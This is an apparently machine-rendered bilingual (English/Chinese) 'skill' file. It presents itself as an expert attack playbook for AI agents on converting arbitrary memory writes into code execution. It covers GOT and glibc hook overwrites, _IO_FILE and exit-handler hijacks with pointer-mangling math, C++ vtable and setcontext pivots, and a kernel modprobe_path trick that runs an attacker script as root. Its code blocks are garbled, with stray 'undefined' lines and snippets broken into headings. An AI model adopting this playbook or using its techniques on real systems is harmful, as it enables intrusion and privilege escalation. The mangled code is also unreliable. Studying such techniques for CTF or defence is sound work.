arbitrary-write-to-rce

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook

SKILL: 任意写入转代码执行 —— 专家攻击操作手册

AI LOAD INSTRUCTION: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.
AI加载说明:将任意写入原语转换为代码执行的专家技术,涵盖按glibc版本兼容性整理的所有主流覆写目标:GOT、__malloc_hook、__free_hook、_IO_FILE 虚表、__exit_funcs、TLS_dtor_list、_dl_fini、modprobe_path、.fini_array、C++虚表以及setcontext gadget。这是漏洞利用的「最后一公里」技能,基础模型通常会错误选择glibc 2.34版本后已被移除的钩子作为目标,或者遗漏指针混淆的要求。

0. RELATED ROUTING

0. 相关参考链接

  • heap-exploitation — obtaining the arbitrary write via heap attacks
  • format-string-exploitation — obtaining the arbitrary write via %n
  • stack-overflow-and-rop — stack-based write primitives
  • binary-protection-bypass — which targets are available given protection configuration
  • heap-exploitation IO_FILE_EXPLOITATION.md — deep _IO_FILE structure exploitation

  • heap-exploitation — 通过堆攻击获取任意写入原语
  • format-string-exploitation — 通过%n格式符获取任意写入原语
  • stack-overflow-and-rop — 基于栈的写入原语
  • binary-protection-bypass — 根据二进制保护配置判断可用的攻击目标
  • heap-exploitation IO_FILE_EXPLOITATION.md — _IO_FILE结构利用深度解析

1. TARGET SELECTION BY GLIBC VERSION

1. 按glibc版本选择攻击目标

Targetglibc < 2.242.24–2.33≥ 2.34Required Knowledge
GOT overwriteOK (Partial RELRO)OK (Partial RELRO)OK (Partial RELRO)Binary base
__malloc_hook
OKOKRemovedlibc base
__free_hook
OKOKRemovedlibc base
__realloc_hook
OKOKRemovedlibc base
_IO_FILE
vtable (direct)
OKVtable range checkVtable range checklibc base + heap
_IO_FILE
via
_IO_str_jumps
N/AOK (2.24–2.27)Patchedlibc base + heap
_IO_FILE
via
_IO_wfile_jumps
N/AOK (≥ 2.28)OKlibc base + heap
__exit_funcs
OKOKOKlibc base + pointer guard
TLS_dtor_list
N/AN/AOKTLS addr + pointer guard
_dl_fini
/ link_map
OKOKOKld.so base
modprobe_path
(kernel)
OKOKOKKernel base
.fini_array
OKOKOKBinary base (if writable)
C++ vtableOKOKOKObject address + heap
setcontext
gadget
OKOK (changed in 2.29)OKlibc base
Stack return addressAlwaysAlwaysAlwaysStack address

目标glibc < 2.242.24–2.33≥ 2.34所需前置知识
GOT覆写可用(Partial RELRO)可用(Partial RELRO)可用(Partial RELRO)二进制基地址
__malloc_hook
可用可用已移除libc基地址
__free_hook
可用可用已移除libc基地址
__realloc_hook
可用可用已移除libc基地址
_IO_FILE
虚表(直接覆写)
可用需通过虚表范围检查需通过虚表范围检查libc基地址 + 堆地址
基于
_IO_str_jumps
_IO_FILE
攻击
不适用可用(2.24–2.27)已被修复libc基地址 + 堆地址
基于
_IO_wfile_jumps
_IO_FILE
攻击
不适用可用(≥ 2.28)可用libc基地址 + 堆地址
__exit_funcs
可用可用可用libc基地址 + 指针防护值
TLS_dtor_list
不适用不适用可用TLS地址 + 指针防护值
_dl_fini
/ link_map
可用可用可用ld.so基地址
modprobe_path
(内核态)
可用可用可用内核基地址
.fini_array
可用可用可用二进制基地址(可写前提下)
C++虚表可用可用可用对象地址 + 堆地址
setcontext
gadget
可用可用(2.29版本有改动)可用libc基地址
栈返回地址全版本可用全版本可用全版本可用栈地址

2. GOT OVERWRITE

2. GOT覆写

Replace a function pointer in the Global Offset Table.
修改全局偏移表中的函数指针。

Requirements

前置要求

  • Partial RELRO (
    .got.plt
    writable) — Full RELRO blocks this entirely
  • 开启Partial RELRO(
    .got.plt
    段可写)—— Full RELRO会完全阻断该攻击

Common Targets

常见攻击目标

Overwrite FromOverwrite ToTrigger
printf@GOT
system
Next
printf(user_input)
with input =
/bin/sh
free@GOT
system
Next
free(ptr)
where ptr points to
"/bin/sh"
strlen@GOT
system
Next
strlen(user_input)
atoi@GOT
system
Next
atoi(user_input)
with input =
"sh"
puts@GOT
system
Next
puts(user_input)
exit@GOT
main
or gadget
Create loop for multi-shot exploit
__stack_chk_fail@GOT
ret
gadget
Neutralize canary check
python
undefined
覆写源覆写目标触发方式
printf@GOT
system
后续执行
printf(user_input)
且输入为
/bin/sh
时触发
free@GOT
system
后续执行
free(ptr)
且ptr指向
"/bin/sh"
时触发
strlen@GOT
system
后续执行
strlen(user_input)
时触发
atoi@GOT
system
后续执行
atoi(user_input)
且输入为
"sh"
时触发
puts@GOT
system
后续执行
puts(user_input)
时触发
exit@GOT
main
或gadget
构造循环实现多轮漏洞利用
__stack_chk_fail@GOT
ret
gadget
绕过canary栈溢出检查
python
undefined

Format string GOT overwrite

格式化字符串GOT覆写

from pwn import fmtstr_payload payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
from pwn import fmtstr_payload payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})

Heap-based GOT overwrite (tcache poisoning)

基于堆的GOT覆写(tcache poisoning)

Allocate chunk at GOT address → write system address

分配指向GOT地址的chunk → 写入system函数地址


---

---

3. __malloc_hook / __free_hook (glibc < 2.34)

3. __malloc_hook / __free_hook(glibc < 2.34版本适用)

__malloc_hook

__malloc_hook

python
undefined
python
undefined

Overwrite __malloc_hook with one_gadget address

用one_gadget地址覆写__malloc_hook

Triggered by any malloc call (including internal malloc in printf with large format)

任意malloc调用都会触发(包括printf处理大格式字符串时的内部malloc调用)

write(libc.sym['__malloc_hook'], one_gadget_addr)
write(libc.sym['__malloc_hook'], one_gadget_addr)

Trigger:

触发方式:

io.sendline('%100000c') # printf calls malloc internally for large format
undefined
io.sendline('%100000c') # printf处理大格式字符串时会内部调用malloc
undefined

__free_hook

__free_hook

python
undefined
python
undefined

Overwrite __free_hook with system

用system函数地址覆写__free_hook

write(libc.sym['__free_hook'], libc.sym['system'])
write(libc.sym['__free_hook'], libc.sym['system'])

Trigger: free a chunk containing "/bin/sh"

触发方式: 释放包含"/bin/sh"的chunk

chunk_data = b'/bin/sh\x00'
chunk_data = b'/bin/sh\x00'

... allocate chunk with this data, then free it

... 分配包含该数据的chunk,然后释放它

undefined
undefined

Realloc Trick for one_gadget Constraints

用于绕过one_gadget约束的realloc技巧

python
undefined
python
undefined

one_gadget often requires specific register/stack state

one_gadget通常需要特定的寄存器/栈状态

realloc pushes registers and adjusts stack before calling __realloc_hook

realloc在调用__realloc_hook前会压入寄存器并调整栈

Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)

设置__malloc_hook = realloc+N(跳过部分压栈操作调整栈对齐)

Set __realloc_hook = one_gadget

设置__realloc_hook = one_gadget

write(libc.sym['__realloc_hook'], one_gadget) write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # +2, +4, +6 etc. to adjust

---
write(libc.sym['__realloc_hook'], one_gadget) write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # 可调整为+2、+4、+6等数值调整栈对齐

---

4. _IO_FILE VTABLE

4. _IO_FILE 虚表

See IO_FILE_EXPLOITATION.md for full details.
完整细节参考IO_FILE_EXPLOITATION.md

Quick Summary by Version

按版本快速总结

glibcMethodVtable Target
< 2.24Direct vtable overwritePoint vtable to fake table with
system
at
__overflow
offset
2.24–2.27
_IO_str_jumps
Within valid range;
_IO_str_finish
calls
_s._free_buffer
≥ 2.28
_IO_wfile_jumps
Wide-char path:
_wide_data->_wide_vtable
not range-checked
≥ 2.35House of Cat
_IO_wfile_seekoff
_IO_switch_to_wget_mode
→ fake wide vtable call
glibc版本攻击方法虚表目标
< 2.24直接虚表覆写将虚表指向伪造表,在
__overflow
偏移处填入
system
地址
2.24–2.27
_IO_str_jumps
在合法范围内,
_IO_str_finish
会调用
_s._free_buffer
≥ 2.28
_IO_wfile_jumps
宽字符路径:
_wide_data->_wide_vtable
不会做范围检查
≥ 2.35House of Cat
_IO_wfile_seekoff
_IO_switch_to_wget_mode
→ 调用伪造的宽字符虚表

FSOP Trigger

FSOP触发方式

python
undefined
python
undefined

Overwrite _IO_list_all → fake FILE with crafted vtable

覆写_IO_list_all → 指向带有构造好的虚表的伪造FILE结构

Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW

通过exit()或malloc异常触发 → _IO_flush_all_lockp → _IO_OVERFLOW


---

---

5. __exit_funcs / __atexit

5. __exit_funcs / __atexit

c
// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
//   stored = ROL(ptr ^ __pointer_chk_guard, 0x11)
c
// __exit_funcs是exit()执行过程中调用的函数指针链表
// 每个条目包含类型(cxa、on、at)和函数指针
// 函数指针会通过指针防护机制混淆:
//   stored = ROL(ptr ^ __pointer_chk_guard, 0x11)

Exploitation

利用方式

python
undefined
python
undefined

Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)

所需前提:libc基地址 + __pointer_chk_guard值(位于fs:[0x30]或可泄露)

1. Leak or brute-force pointer_guard

1. 泄露或暴力破解pointer_guard

2. Compute mangled function pointer:

2. 计算混淆后的函数指针:

import struct def mangle(ptr, guard): return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff
import struct def mangle(ptr, guard): return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff

3. Write mangled one_gadget/system to __exit_funcs entry

3. 将混淆后的one_gadget/system地址写入__exit_funcs条目

4. Trigger: call exit() or return from main

4. 触发:调用exit()或从main函数返回

undefined
undefined

Without Pointer Guard Knowledge

无需已知pointer_guard的方案

If you can overwrite both the function pointer AND the pointer guard (in TLS at
fs:[0x30]
):
  1. Set pointer guard to 0
  2. Set function pointer to
    ROL(target, 0x11)
  3. Demangling:
    ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target

如果你可以同时覆写函数指针和(TLS中
fs:[0x30]
位置的)pointer_guard:
  1. 将pointer_guard设置为0
  2. 将函数指针设置为
    ROL(target, 0x11)
  3. 解混淆时:
    ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target

6. TLS_dtor_list (glibc ≥ 2.34)

6. TLS_dtor_list(glibc ≥ 2.34版本适用)

Thread-local destructor list — the primary post-2.34 target.
c
// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)
线程局部析构函数列表 —— glibc 2.34之后的主流攻击目标。
c
// exit流程中的__call_tls_dtors()阶段会调用该列表
// 每个条目格式:{ void (*func)(void *), void *obj, void *next }
// func的混淆规则和exit_funcs相同(PTR_DEMANGLE)

Location

位置

TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-force
TLS区域(x86-64下由fs寄存器指向)
tls_dtor_list是libc中的线程局部变量
通常位于fs:[偏移]处 —— 偏移可通过libc符号或暴力破解获取

Exploitation

利用方式

python
undefined
python
undefined

1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])

1. 泄露TLS基地址(例如通过canary泄露:canary位于fs:[0x28])

2. Compute tls_dtor_list address

2. 计算tls_dtor_list地址

3. Forge a tls_dtor_list entry:

3. 构造tls_dtor_list条目:

entry = p64(mangled_func_ptr) # func (mangled with pointer guard) entry += p64(arg_value) # obj (passed as argument to func) entry += p64(0) # next = NULL (end of list)
entry = p64(mangled_func_ptr) # func(用pointer guard混淆后) entry += p64(arg_value) # obj(作为参数传递给func) entry += p64(0) # next = NULL(链表结束)

4. Write entry to heap, set tls_dtor_list to point to it

4. 将条目写入堆,设置tls_dtor_list指向该条目

5. Trigger: exit() → __call_tls_dtors() → func(obj)

5. 触发:exit() → __call_tls_dtors() → func(obj)


---

---

7. _dl_fini / LINK_MAP CORRUPTION

7. _dl_fini / LINK_MAP 篡改

Attack Vector

攻击向量

During
exit()
,
_dl_fini
iterates the link_map list and calls
DT_FINI_ARRAY
entries.
c
// In _dl_fini:
for each loaded library (link_map entry):
    if l_info[DT_FINI_ARRAY]:
        array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
        for each entry in array:
            entry()  // call destructor
exit()
执行过程中,
_dl_fini
会遍历link_map列表并调用
DT_FINI_ARRAY
条目。
c
// _dl_fini代码逻辑:
for each loaded library (link_map entry):
    if l_info[DT_FINI_ARRAY]:
        array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
        for each entry in array:
            entry()  // 调用析构函数

Exploitation

利用方式

  1. Corrupt a
    link_map
    entry's
    l_addr
    (relocation base) to shift the FINI_ARRAY pointer
  2. Or corrupt
    l_info[DT_FINI_ARRAY]
    to point to fake array
  3. Fake array contains target function pointer (system, one_gadget)
  4. Trigger:
    exit()
    _dl_fini
    → calls fake destructor
Advantage: No pointer mangling (function pointers in FINI_ARRAY are not mangled).

  1. 篡改
    link_map
    条目的
    l_addr
    (重定位基地址),偏移FINI_ARRAY指针
  2. 或者篡改
    l_info[DT_FINI_ARRAY]
    指向伪造数组
  3. 伪造数组中填入目标函数指针(system、one_gadget)
  4. 触发:
    exit()
    _dl_fini
    → 调用伪造析构函数
优势:无需处理指针混淆(FINI_ARRAY中的函数指针不会被混淆)。

8. modprobe_path (KERNEL)

8. modprobe_path(内核态)

Overwrite the kernel's
modprobe_path
to execute arbitrary commands as root.
python
undefined
覆写内核的
modprobe_path
以root权限执行任意命令。
python
undefined

1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")

1. 任意内核写入:覆写modprobe_path(默认值为"/sbin/modprobe")为攻击者的脚本路径,如"/tmp/x"

with "/tmp/x" (attacker's script)

kernel_write(modprobe_path_addr, b'/tmp/x\x00')
kernel_write(modprobe_path_addr, b'/tmp/x\x00')

2. Prepare script:

2. 准备脚本:

echo '#!/bin/sh' > /tmp/x

echo '#!/bin/sh' > /tmp/x

echo 'cat /flag > /tmp/output' >> /tmp/x

echo 'cat /flag > /tmp/output' >> /tmp/x

chmod +x /tmp/x

chmod +x /tmp/x

3. Trigger: execute a file with unknown binary format

3. 触发:执行格式未知的二进制文件

echo -ne '\xff\xff\xff\xff' > /tmp/trigger

echo -ne '\xff\xff\xff\xff' > /tmp/trigger

chmod +x /tmp/trigger

chmod +x /tmp/trigger

/tmp/trigger

/tmp/trigger

→ kernel calls modprobe_path ("/tmp/x") as root

→ 内核会以root权限调用modprobe_path指向的"/tmp/x"


See [kernel-exploitation](../kernel-exploitation/SKILL.md) for kernel write primitives.

---

内核写入原语参考[kernel-exploitation](../kernel-exploitation/SKILL.md)。

---

9. .fini_array

9. .fini_array

Overwrite destructor function pointers called during normal program exit.
python
undefined
覆写程序正常退出时调用的析构函数指针。
python
undefined

.fini_array contains function pointers called in reverse order during exit

.fini_array包含退出阶段逆序调用的函数指针

Typically: [__do_global_dtors_aux, ...]

通常为:[__do_global_dtors_aux, ...]

Overwrite first entry with target (main for loop, system for RCE)

覆写第一个条目为目标地址(main实现循环,system实现RCE)

Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>

两步方案:.fini_array[0] = main(回到主程序循环),.fini_array[1] = <攻击函数>

First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)

第一次退出:调用.fini_array[1](攻击函数),然后调用.fini_array[0](回到main)

In main loop: set up final exploit

主程序循环中完成最终利用构造


**Limitation**: `.fini_array` may be read-only in Full RELRO binaries.

---

**限制**:Full RELRO的二进制文件中`.fini_array`可能为只读。

---

10. C++ VTABLE OVERWRITE

10. C++ 虚表覆写

cpp
// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers

// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...
python
undefined
cpp
// 带虚函数的C++对象偏移0处为vptr
// vptr → 虚表 → 函数指针数组
// 覆写vptr指向带有可控函数指针的伪造虚表

// 对象内存布局:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: 成员数据...
python
undefined

1. Leak object address and vptr

1. 泄露对象地址和vptr

2. Create fake vtable in controlled memory:

2. 在可控内存中构造伪造虚表:

fake_vtable = p64(0) # offset -0x10 (RTTI info) fake_vtable += p64(0) # offset -0x08 (RTTI info) fake_vtable += p64(target_func) # virtual function 0 → system / one_gadget fake_vtable += p64(target_func) # virtual function 1
fake_vtable = p64(0) # 偏移-0x10(RTTI信息) fake_vtable += p64(0) # 偏移-0x08(RTTI信息) fake_vtable += p64(target_func) # 虚函数0 → system / one_gadget fake_vtable += p64(target_func) # 虚函数1

3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)

3. 覆写vptr指向fake_vtable + 0x10(跳过RTTI前缀)

4. Trigger: call virtual function on the object

4. 触发:调用该对象的虚函数


---

---

11. setcontext GADGET

11. setcontext GADGET

setcontext
in libc loads registers from a
ucontext_t
structure — useful as a pivot gadget.
libc中的
setcontext
会从
ucontext_t
结构加载寄存器,是非常实用的栈跳转gadget。

glibc < 2.29

glibc < 2.29

c
// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full control
c
// setcontext+53: 从[rdi + 偏移]加载寄存器
// RDI = 第一个参数 = 指向可控缓冲区的指针
// 可设置RSP、RIP和所有其他寄存器 → 完全控制执行流

glibc ≥ 2.29

glibc ≥ 2.29

c
// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
python
undefined
c
// setcontext+61: 从[rdx + 偏移]加载寄存器
// 必须控制RDX而非RDI
// 需要中间gadget:mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
python
undefined

Common pattern with __free_hook (pre-2.34):

搭配__free_hook的通用模式(2.34之前版本):

__free_hook = setcontext + 61

__free_hook = setcontext + 61

free(chunk) → setcontext(chunk) where chunk contains fake ucontext

free(chunk) → setcontext(chunk),chunk中包含伪造的ucontext

From ucontext: set RSP to ROP chain, RIP to ret → ROP continues

从ucontext中设置RSP为ROP链地址,RIP为ret → 继续执行ROP

Post-2.34: combine with _IO_FILE exploitation

2.34之后版本:结合_IO_FILE利用

_IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext

_IO_FILE虚表调用会将fp作为第一个参数传递 → 用gadget移动到rdx → 触发setcontext


---

---

12. DECISION TREE

12. 决策树

You have an arbitrary write primitive. What to target?

├── What's the RELRO level?
│   ├── None / Partial → GOT overwrite (simplest, most reliable)
│   │   └── printf→system, free→system, atoi→system
│   └── Full RELRO → GOT read-only, choose alternative:
├── What glibc version?
│   ├── < 2.34 (hooks available)
│   │   ├── __free_hook = system → free("/bin/sh") [easiest]
│   │   ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│   │   └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│   │
│   ├── ≥ 2.34 (no hooks)
│   │   ├── Know pointer guard (fs:[0x30])?
│   │   │   ├── YES → __exit_funcs or TLS_dtor_list
│   │   │   └── NO → overwrite pointer guard to 0 first, then exit_funcs
│   │   ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│   │   │   └── Need: libc base + heap address + controllable FILE structure
│   │   ├── _dl_fini link_map corruption
│   │   │   └── Need: ld.so base address
│   │   └── .fini_array (if writable)
│   │       └── Need: binary base (no PIE, or PIE base leaked)
│   │
│   └── Any version
│       ├── Stack return address (if stack address known)
│       └── C++ vtable (if targeting C++ object with virtual functions)
├── Kernel write primitive?
│   ├── modprobe_path (simplest kernel→root)
│   ├── core_pattern (/proc/sys/kernel/core_pattern)
│   └── Direct cred structure overwrite
└── Need to chain read → write → execute?
    └── setcontext gadget: arbitrary write → pivot RSP → ROP chain
        ├── glibc < 2.29: setcontext+53 (uses RDI)
        └── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)
你已获取任意写入原语,该选择什么攻击目标?

├── RELRO级别是什么?
│   ├── 无 / Partial → GOT覆写(最简单、最可靠)
│   │   └── printf→system, free→system, atoi→system
│   └── Full RELRO → GOT只读,选择其他方案:
├── glibc版本是什么?
│   ├── < 2.34(钩子可用)
│   │   ├── __free_hook = system → free("/bin/sh") [最简单]
│   │   ├── __malloc_hook = one_gadget → 触发malloc [满足约束时可用]
│   │   └── __realloc_hook + __malloc_hook realloc技巧 [调整栈对齐]
│   │
│   ├── ≥ 2.34(无钩子)
│   │   ├── 已知pointer guard(fs:[0x30])吗?
│   │   │   ├── 是 → __exit_funcs 或 TLS_dtor_list
│   │   │   └── 否 → 先将pointer guard覆写为0,再攻击exit_funcs
│   │   ├── _IO_FILE + _IO_wfile_jumps(House of Apple 2 / Cat)
│   │   │   └── 所需前提:libc基地址 + 堆地址 + 可控FILE结构
│   │   ├── _dl_fini link_map篡改
│   │   │   └── 所需前提:ld.so基地址
│   │   └── .fini_array(可写前提下)
│   │       └── 所需前提:二进制基地址(无PIE,或已泄露PIE基地址)
│   │
│   └── 任意版本
│       ├── 栈返回地址(已知栈地址前提下)
│       └── C++虚表(攻击带有虚函数的C++对象时适用)
├── 是内核态写入原语吗?
│   ├── modprobe_path(最简单的内核提权方案)
│   ├── core_pattern (/proc/sys/kernel/core_pattern)
│   └── 直接覆写cred结构
└── 需要链式实现读→写→执行?
    └── setcontext gadget:任意写入 → 跳转RSP → ROP链
        ├── glibc < 2.29: setcontext+53(使用RDI)
        └── glibc ≥ 2.29: setcontext+61(使用RDX,需要mov rdx, [rdi] gadget)